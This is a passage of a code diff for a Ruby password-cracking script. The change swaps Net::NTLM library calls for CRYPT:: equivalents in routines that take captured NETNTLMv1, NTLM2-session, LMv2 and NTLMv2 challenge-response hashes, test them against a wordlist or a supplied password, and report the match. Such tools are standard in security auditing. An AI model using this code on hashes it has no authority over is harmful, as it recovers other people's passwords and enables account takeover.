CRYPT::ntlm_hash(pass), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase puts "[*] The NETNTLMv1 hash for #{pass} is : #{calculatedhash}" exit when PASS_MODE @@ -514,10 +516,10 @@ when "NETNTLMv1" $stderr.puts "[*] Server challenge must be exactly 16 bytes of hexadecimal" exit end - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass), + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), :challenge => [ srvchal ].pack("H*") } - calculatedhash = Net::NTLM::ntlm_response(argntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm_response(argntlm).unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass}" exit @@ -556,11 +558,11 @@ when "NETNTLM2_SESSION" password_list.each_line do |line| password = line.gsub("\r\n",'').gsub("\n",'') puts password - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(password), + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(password), :challenge => [ srvchal ].pack("H*") } optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase if calculatedhash == hash.upcase found = true @@ -593,11 +595,11 @@ when "NETNTLM2_SESSION" $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" exit end - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass), + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), :challenge => [ srvchal ].pack("H*") } optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase puts "[*] The NETNTLM2_SESSION hash for #{pass} is : #{calculatedhash}" exit when PASS_MODE @@ -621,11 +623,11 @@ when "NETNTLM2_SESSION" $stderr.puts "[*] Client challenge must be exactly 16 bytes of hexadecimal" exit end - argntlm = { :ntlm_hash => Net::NTLM::ntlm_hash(pass), + argntlm = { :ntlm_hash => CRYPT::ntlm_hash(pass), :challenge => [ srvchal ].pack("H*") } optntlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlm2_session(argntlm,optntlm).join[24,24].unpack("H*")[0].upcase if hash.upcase == calculatedhash puts "[*] Correct password provided : #{pass}" @@ -673,10 +675,10 @@ when "NETLMv2" password_list.each_line do |line| password = line.gsub("\r\n",'').gsub("\n",'') puts password - arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,password, domain), + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,password, domain), :challenge => [ srvchal ].pack("H*") } optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase if calculatedhash.slice(0,32) == hash.upcase found = true match_password = password @@ -717,10 +719,10 @@ when "NETLMv2" exit end - arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain), + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), :challenge => [ srvchal ].pack("H*") } optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase puts "[*] The NETLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" exit @@ -753,10 +755,10 @@ when "NETLMv2" $stderr.puts "[*] Domain name must be provided with this type" exit end - arglm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user,pass, domain), + arglm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user,pass, domain), :challenge => [ srvchal ].pack("H*") } optlm = { :client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::lmv2_response(arglm, optlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::lmv2_response(arglm, optlm).unpack("H*")[0].upcase if hash.upcase == calculatedhash.slice(0,32) puts "[*] Correct password provided : #{pass}" exit @@ -804,10 +806,10 @@ when "NETNTLMv2" password_list.each_line do |line| password = line.gsub("\r\n",'').gsub("\n",'') puts password - argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, password, domain), + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, password, domain), :challenge => [ srvchal ].pack("H*") } optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase if calculatedhash.slice(0,32) == hash.upcase found = true @@ -849,10 +851,10 @@ when "NETNTLMv2" exit end - argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain), + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), :challenge => [ srvchal ].pack("H*") } optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase puts "[*] The NETNTLMv2 hash for #{pass} is : #{calculatedhash.slice(0,32)}" exit @@ -886,10 +888,10 @@ when "NETNTLMv2" exit end - argntlm = { :ntlmv2_hash => Net::NTLM::ntlmv2_hash(user, pass, domain), + argntlm = { :ntlmv2_hash => CRYPT::ntlmv2_hash(user, pass, domain), :challenge => [ srvchal ].pack("H*") } optntlm = { :nt_client_challenge => [ clichal ].pack("H*")} - calculatedhash = Net::NTLM::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase + calculatedhash = CRYPT::ntlmv2_response(argntlm,optntlm).unpack("H*")[0].upcase if hash.upcase == calculatedhash.slice(0,32) puts "[*] Correct password provided : #{pass}"